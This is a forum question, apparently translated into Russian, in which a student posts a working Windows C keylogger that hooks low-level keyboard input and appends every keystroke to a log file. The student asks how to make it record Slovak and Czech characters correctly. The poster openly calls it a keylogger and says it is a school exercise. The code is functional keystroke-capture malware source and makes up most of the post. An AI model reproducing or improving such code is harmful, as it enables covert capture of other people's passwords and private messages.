Ну, у меня есть простая программа, которая сохраняет нажатые клавиши.Но это работает только на английской клавиатуре.Он не может обнаружить любую другую клавиатуру, например, мой словацкий.Слово «школа» сохраняется как «3кола».Потому что «3» и «š» - это одна и та же кнопка на клавиатуре.
#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>
HHOOK _hook;
FILE *LOG;
KBDLLHOOKSTRUCT kbdStruct;
char xxx;
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0)
{
if (wParam == WM_KEYDOWN)
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
if (kbdStruct.vkCode != 0);
{
switch (kbdStruct.vkCode)
{
case VK_ESCAPE:
fprintf(LOG, "[ESC]");
break;
default:
fprintf(LOG, "%c", kbdStruct.vkCode);
break;
}
fflush(LOG);
}
}
}
return CallNextHookEx(_hook, nCode, wParam, lParam);
}
void SetHook()
{
_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0);
}
void main()
{
LOG = fopen("log.txt", "a+" );
SetHook();
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
}
fclose(LOG);
}
Я хочу сохранить символ текущего локального языка.Например.Я написал одно слово на словацком языке «žiak», затем я перешел на английский и написал что-то на английском, а затем на чешском, например.Как я могу сделать, чтобы пользовательский ввод все время сохранялся с местными языковыми символами.(да, это кейлоггер, но это интересный способ выучить C в школе, мы действительно делаем что-то вроде циклов и записи в текстовый файл, и это все, что я знаю: /) Я нашел кое-что о wm_char, с помощью которого можно решить мою проблему, но я не знаю, какиспользуйте это.